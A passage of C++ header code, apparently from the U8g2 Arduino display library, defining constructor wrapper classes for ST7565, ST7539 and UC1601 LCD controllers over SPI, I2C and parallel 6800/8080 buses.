uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_NHD_C12832_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_NHD_C12832_1_6800 : public U8G2 { public: U8G2_ST7565_NHD_C12832_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_1_8080 : public U8G2 { public: U8G2_ST7565_NHD_C12832_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_NHD_C12832_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_NHD_C12832_2_6800 : public U8G2 { public: U8G2_ST7565_NHD_C12832_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_2_8080 : public U8G2 { public: U8G2_ST7565_NHD_C12832_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_NHD_C12832_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_NHD_C12832_F_6800 : public U8G2 { public: U8G2_ST7565_NHD_C12832_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_F_8080 : public U8G2 { public: U8G2_ST7565_NHD_C12832_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12832_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7539_192X64_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7539_192X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7539_192X64_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7539_192X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7539_192X64_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7539_192X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7539_192X64_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7539_192X64_1_6800 : public U8G2 { public: U8G2_ST7539_192X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7539_192X64_1_8080 : public U8G2 { public: U8G2_ST7539_192X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7539_192X64_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7539_192X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7539_192X64_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7539_192X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7539_192X64_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7539_192X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7539_192X64_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7539_192X64_2_6800 : public U8G2 { public: U8G2_ST7539_192X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7539_192X64_2_8080 : public U8G2 { public: U8G2_ST7539_192X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7539_192X64_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7539_192X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7539_192X64_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7539_192X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7539_192X64_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7539_192X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7539_192X64_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7539_192X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7539_192X64_F_6800 : public U8G2 { public: U8G2_ST7539_192X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7539_192X64_F_8080 : public U8G2 { public: U8G2_ST7539_192X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_192x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7539_192X64_1_SW_I2C : public U8G2 { public: U8G2_ST7539_192X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7539_192X64_1_HW_I2C : public U8G2 { public: U8G2_ST7539_192X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7539_192X64_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7539_192X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7539_192X64_2_SW_I2C : public U8G2 { public: U8G2_ST7539_192X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7539_192X64_2_HW_I2C : public U8G2 { public: U8G2_ST7539_192X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7539_192X64_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7539_192X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7539_192X64_F_SW_I2C : public U8G2 { public: U8G2_ST7539_192X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7539_192X64_F_HW_I2C : public U8G2 { public: U8G2_ST7539_192X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7539_192X64_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7539_192X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7539_i2c_192x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1601_128X32_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1601_128X32_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X32_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1601_128X32_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1601_128X32_1_6800 : public U8G2 { public: U8G2_UC1601_128X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X32_1_8080 : public U8G2 { public: U8G2_UC1601_128X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X32_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); 